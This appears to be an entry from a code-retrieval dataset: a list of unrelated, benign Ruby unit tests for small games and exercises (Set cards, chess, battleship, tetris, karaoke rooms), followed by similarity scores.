"def test_team_player_in_team\n sports_team = SportsTeam.new('Benfica', ['Rafa', 'Raul', 'Pizzi', 'Odisseias'], 'Bruno Nascimento')\n assert_equal('Pizzi', sports_team.players.at(2))\n end",
"def test_is_set_76_true\n # Create card objects\n card1 = Card.new(@@colors[0], @@shapes[2], @@numbers[0], @@shadings[2])\n card2 = Card.new(@@colors[1], @@shapes[1], @@numbers[1], @@shadings[1])\n card3 = Card.new(@@colors[2], @@shapes[0], @@numbers[2], @@shadings[0])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_room_has_cost_of_entry()\n assert_equal(40, @room.cost_of_entry())\n end",
"def test_truth\n assert_kind_of PosDailyReceipt, pos_daily_receipts(:first)\n end",
"def test_make_move\n assert_equal \"11\", @player.make_move\n end",
"def test_is_set_68_true\n # Create card objects\n card1 = Card.new(@@colors[0], @@shapes[0], @@numbers[1], @@shadings[2])\n card2 = Card.new(@@colors[1], @@shapes[1], @@numbers[1], @@shadings[2])\n card3 = Card.new(@@colors[2], @@shapes[2], @@numbers[1], @@shadings[2])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_is_set_17_true\n # Create card objects\n card1 = Card.new(@@colors[1], @@shapes[0], @@numbers[2], @@shadings[1])\n card2 = Card.new(@@colors[1], @@shapes[2], @@numbers[2], @@shadings[2])\n card3 = Card.new(@@colors[1], @@shapes[1], @@numbers[2], @@shadings[0])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_deck_cut\n 1.upto(3) do |x|\n cut_at = rand(51) + 1\n x = @cards[cut_at - 1]\n y = @cards[cut_at]\n @deck.cut(cut_at)\n print \"\\nCut Deck at #{cut_at} [#{x}|#{y}]:\\n#{@deck.to_s}\\n\\n\"\n assert_equal(52, @cards.length, \"Num Cards\")\n assert_equal(@cards[(@cards.length - 1)], x, \"Card Before\")\n assert_equal(@cards[0], y, \"Card After\")\n end\n end",
"def test_computer_player_wins_if_possible\n @board.place('X', 1, 1)\n @board.place('X', 1, 2)\n @player = ComputerPlayer.new('X')\n assert_equal [1, 0], @player.move(@board)\n end",
"def test_shelf_name_should_be_equal_to_passed_in_name\n test = Shelf.new({\"name\" => \"North\"})\n test.insert\n shelves = Shelf.all\n \n assert_equal \"North\", shelves[-1].name\n end",
"def test_chess\r\n assert_nil(game.setup, \"This is not nil.\")\r\n assert_match(/king|queen|bishop|knight|rook|pawn/, game.promote(nil, nil), \"This is not a piece of chess.\")\r\n assert_match(/black|white/, game.take_turn, \"This is not black or white.\")\r\n assert_match(/black|white/, game.switch_players, \"This is not black or white.\")\r\n assert_match(/true|false/, game.checkmate?.to_s, \"No pass test\")\r\n assert_match(/true|false/, game.check?.to_s, \"No pass test\")\r\n\r\n assert_match(\"[\\\"+ \\\", \\\"BP \\\", \\\"+ \\\", \\\"+ \\\", \\\"+ \\\", \\\"+ \\\", \\\"+ \\\", \\\"+ \\\"]\",\r\n board.move(\"B1\", \"C1\").to_s, \"No pass test\")\r\n assert_match(/true|false/, board.king_threatened?(nil, nil).to_s, \"No pass test\")\r\n\r\n end",
"def test_is_set_58_true\n # Create card objects\n card1 = Card.new(@@colors[2], @@shapes[2], @@numbers[2], @@shadings[1])\n card2 = Card.new(@@colors[1], @@shapes[2], @@numbers[0], @@shadings[2])\n card3 = Card.new(@@colors[0], @@shapes[2], @@numbers[1], @@shadings[0])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_is_set_56_true\n # Create card objects\n card1 = Card.new(@@colors[0], @@shapes[1], @@numbers[1], @@shadings[1])\n card2 = Card.new(@@colors[1], @@shapes[1], @@numbers[0], @@shadings[1])\n card3 = Card.new(@@colors[2], @@shapes[1], @@numbers[2], @@shadings[1])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_is_set_23_true\n # Create card objects\n card1 = Card.new(@@colors[2], @@shapes[1], @@numbers[0], @@shadings[1])\n card2 = Card.new(@@colors[2], @@shapes[0], @@numbers[1], @@shadings[2])\n card3 = Card.new(@@colors[2], @@shapes[2], @@numbers[2], @@shadings[0])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_locations_of_fourth_ave\n\t\tassert_equal \"Cathedral\", @road2.locations[0]\n\tend",
"def test_room_at_capacity__return_true_no_entry\n @room.add_guest_to_room(@guest1)\n @room.add_guest_to_room(@guest1)\n @room.add_guest_to_room(@guest1)\n @room.add_guest_to_room(@guest1)\n @room.add_guest_to_room(@guest1)\n assert_equal(\"Sorry, this room is full\", @room.room_at_capacity())\n end",
"def test_is_set_4_true\n # Create card objects\n card1 = Card.new(@@colors[2], @@shapes[1], @@numbers[0], @@shadings[1])\n card2 = Card.new(@@colors[2], @@shapes[1], @@numbers[1], @@shadings[1])\n card3 = Card.new(@@colors[2], @@shapes[1], @@numbers[2], @@shadings[1])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_locate_item\n result = locate_item(@warehouse, :b5)\n assert_equal(\"nail filer\" , result)\nend",
"def test_it_can_fire_at_human_board\n skip #INCOMPLETE TEST\n human_board_setup\n selection_1 = mock(\"A1\")\n selection_2 = mock(\"A2\")\n selection_3 = mock(\"B1\")\n\n @computer.fire(@human.board)\n\n revealed_board_1 = \" 1 2 3 4\" +\n \"A H M . .\" +\n \"B H . . .\" +\n \"C . S . .\" +\n \"D . S . .\"\n assert_equal revealed_board_1, @human.board.render(true)\n end",
"def test_robot_obstacle\n world = World.new(5, 5, [{:x => 1, :y => 1}])\n rover = MarsRover.new(1,0,'N', world)\n assert_equal(\"Obstacle found at x:1 y:1\", rover.command('F'))\n end",
"def test_is_set_50_true\n # Create card objects\n card1 = Card.new(@@colors[0], @@shapes[0], @@numbers[2], @@shadings[0])\n card2 = Card.new(@@colors[1], @@shapes[0], @@numbers[2], @@shadings[0])\n card3 = Card.new(@@colors[2], @@shapes[0], @@numbers[2], @@shadings[0])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_guess_card_return\n card = Card.new(\"10\", \"Hearts\")\n guess = Guess.new(\"10 of Hearts\", card)\n\n assert_equal guess.card, card\n end",
"def test_is_set_15_true\n # Create card objects\n card1 = Card.new(@@colors[1], @@shapes[1], @@numbers[0], @@shadings[2])\n card2 = Card.new(@@colors[1], @@shapes[0], @@numbers[0], @@shadings[2])\n card3 = Card.new(@@colors[1], @@shapes[2], @@numbers[0], @@shadings[2])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_retrieve\n q = Quotation.find(2)\n assert_equal \"Lots going on.\", q.content\n end",
"def place_ship(ship, vertical, row, col)\n return false unless placable?(ship, vertical,row,col)\n ship.size.times do\n spot(row,col)[:shipid] = ship.id\n vertical ? row += 1 : col += 1\n end\n true\n end",
"def test_scenario1 \n r = robot\n r.move(table)\n assert_equal('0,1,NORTH', r.report)\n end",
"def test_add_neighbour state, cells, alive\n cell = Cell.new(state)\n (0..cells).each do\n if alive > 0\n newCell = Cell.new(:alive)\n alive -= 1\n else\n newCell = Cell.new(:dead)\n end\n newCell.add_neighbour cell\n cell.add_neighbour newCell\n end\n cell\nend",
"def assert_table_cell(table_name, row, column, value)\n assert table_name, \"getValueAt(#{row},#{column})\", value\n end",
"def test_find_single_item\n\n result=find_single_item(@warehouse_data, :b7)\n assert_equal(\"bath fizzers\",result)\n \nend",
"def test_connect_mines\n @g.connect_mines\n\n assert [@g.ruby_mines['Enumerable Canyon'].neighbors[0]], ['Duck Type Beach']\n assert [@g.ruby_mines['Enumerable Canyon'].neighbors[1]], ['Monkey Patch City']\n end",
"def test_room_has_name()\n assert_equal(\"The Diamond Room\", @room1.name())\n end",
"def test_truth\n assert_kind_of Cost, @cost\n end",
"def test_rectangle\n # A simple rectangle with more rows than columns\n @game.state = [[0,0],[0,0],[0,0]]\n after = @game.evolve\n assert_equal [[0,0],[0,0],[0,0]],after\n\n # A bigger rectangle with more columns than rows\n # and some life\n @game.state = [[0,0,0,0],[1,1,0,0],[0,0,0,1]]\n after = @game.evolve\n assert_equal [[1,0,0,0],[1,0,0,0],[1,0,0,0]],after\n end",
"def test_the_placement_is_valid\n assert_equal true, @board.valid_placement?(@cruiser, [\"A1\", \"A2\", \"A3\"])\n @board.cells[\"A2\"].empty = false\n assert_equal false, @board.valid_placement?(@cruiser, [\"A1\", \"A2\", \"A3\"])\n end",
"def test_pieces\n @board = MyTestBoard.new\n \n all_test_pieces = [[[[0, 0], [1, 0], [0, 1], [1, 1]]], # square (only needs one)\n MyPiece.rotations([[0, 0], [-1, 0], [1, 0], [0, -1]]), # T\n [[[0, 0], [-1, 0], [1, 0], [2, 0]], # long (only needs two)\n [[0, 0], [0, -1], [0, 1], [0, 2]]],\n MyPiece.rotations([[0, 0], [0, -1], [0, 1], [1, 1]]), # L\n MyPiece.rotations([[0, 0], [0, -1], [0, 1], [-1, 1]]), # inverted L\n MyPiece.rotations([[0, 0], [-1, 0], [0, -1], [1, -1]]), # S\n MyPiece.rotations([[0, 0], [1, 0], [0, -1], [-1, -1]]), # Z\n MyPiece.rotations([[0, 0], [1, 0], [0, 1], [1, 1], [1, 2]]), # ::.\n MyPiece.rotations([[0, 0], [-1, 0], [1, 0], [2, 0], [3, 0]]), # .....\n MyPiece.rotations([[0, 0], [1, 0], [1, 1]])] # .:\n\n all_pieces_rotations = [] \n\n # get all the individual rotations into an array\n (0..all_test_pieces.size-1).each { |oi| \n all_pieces_rotations += all_test_pieces[oi]\n }\n \n # get a new piece with a specific rotation and delete it\n (0..1000).each { |index| \n @piece = MyPiece.next_piece(@board)\n all_pieces_rotations.delete(@piece.current_rotation)}\n\n # all pieces have been generated and deleted\n assert_equal([], all_pieces_rotations)\n\n # same for the cheating piece\n cheat_piece = MyPiece.rotations([[0, 0]]) # .\n @piece = MyPiece.cheat_next_piece(@board)\n cheat_piece.delete(@piece.current_rotation)\n assert_equal([], cheat_piece)\n end",
"def test_exposed_check_by_move\n board = ChessBoard.new\n piece = Knight.new(:white)\n board.add(piece, 'd4')\n\n board.add(King.new(:white), 'd1')\n board.add(Rook.new(:black), 'd8')\n\n refute(piece.valid_move?('d4', 'e6', board), 'Knight cannot expose king to check')\n end",
"def test_move_turns_duck_type_beach\n ruby_rush=RubyRush.new(1, 2, 3)\n ruby_rush.turn=10\n ruby_rush.random(ruby_rush.seed)\n ruby_rush.move_turns_duck_type_beach\n assert_includes ['Enumerable Canyon', 'Matzburg'], ruby_rush.city\n end",
"def test_room_capacity\n assert_equal(15, @room1.room_capacity)\n end",
"def test_bill\n assert_equal(190.00, @room1.bill(@guest1,@bar1))\n assert_equal(160.00, @room2.bill(@guest3,@bar2))\n\n end",
"def test_hand_value_is_correctly_calculated\r\n @deck = Deck.new\r\n @deck = [Card.new(:clubs,:four, 4), Card.new(:diamonds,:ten,10)]\r\n assert_equal @deck.value, 14\r\n end",
"def test_rows\n assert_equal [41.0,42.0,43.0,44.0,45.0, nil, nil], @oo.row(12)\n assert_equal [nil, nil, \"dreiundvierzig\", \"vierundvierzig\", \"fuenfundvierzig\", nil, nil], @oo.row(16)\n end",
"def test_load\n assert item = Item.load('sword')\n assert item.str <= 45\n assert item.str >= 40\n end",
"def test_suit()\n expected = \"spades\"\n actual = @card1.suit()\n assert_equal(expected,actual)\n end",
"def test_draw_one_card\n cards = @deck.draw\n assert_equal(51, @deck.count)\n assert_equal(1, cards.length)\n end",
"def test_creation\n up = UnitPosition.create(:x => 60, :y => 70)\n assert up.valid?\n end",
"def test_next_tile\n game = Game.new 1, [@jacob,@raymond]\n \n h = Game::HEIGHT-1\n assert_equal [h,0], game.next_tile(0)\n game.board[h][0] = 1\n\n h = h - 1\n assert_equal [h,0], game.next_tile(0)\n game.board[h][0] = 1\n\n h = h - 1\n assert_equal [h,0], game.next_tile(0)\n game.board[h][0] = 1\n end"
] |
[
"0.67413217",
"0.65839976",
"0.61723715",
"0.6138236",
"0.6100978",
"0.6062735",
"0.6048128",
"0.6046373",
"0.5951299",
"0.58557755",
"0.583321",
"0.5826784",
"0.580248",
"0.5783715",
"0.57801574",
"0.57786584",
"0.57476443",
"0.57392013",
"0.5734896",
"0.57188714",
"0.5717609",
"0.5702505",
"0.5701354",
"0.56870353",
"0.56755555",
"0.567043",
"0.5665776",
"0.5642843",
"0.5640424",
"0.56307936",
"0.56168765",
"0.5613525",
"0.5604184",
"0.5601223",
"0.55950963",
"0.55881745",
"0.55758125",
"0.5575218",
"0.55719095",
"0.556054",
"0.5558672",
"0.55496573",
"0.55475223",
"0.55364376",
"0.5535508",
"0.55350745",
"0.55315185",
"0.55230933",
"0.55195713",
"0.5517425",
"0.5517125",
"0.5513214",
"0.5505209",
"0.55043995",
"0.55038255",
"0.54907477",
"0.54890305",
"0.5488956",
"0.5482466",
"0.54767543",
"0.54760885",
"0.5475127",
"0.54745007",
"0.54731274",
"0.5469448",
"0.5462438",
"0.54620767",
"0.5461193",
"0.5460624",
"0.54601246",
"0.5458552",
"0.5456318",
"0.54555863",
"0.54510605",
"0.54358083",
"0.5429505",
"0.5424623",
"0.5424289",
"0.5422262",
"0.541791",
"0.5414669",
"0.54096025",
"0.5402803",
"0.5400294",
"0.5400261",
"0.539694",
"0.5391846",
"0.53897816",
"0.5385111",
"0.53757554",
"0.5375713",
"0.5373266",
"0.53704804",
"0.5368336",
"0.53648907",
"0.53643775",
"0.53564024",
"0.5354758",
"0.5353828",
"0.5350592"
] |
0.5568397
|
39
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.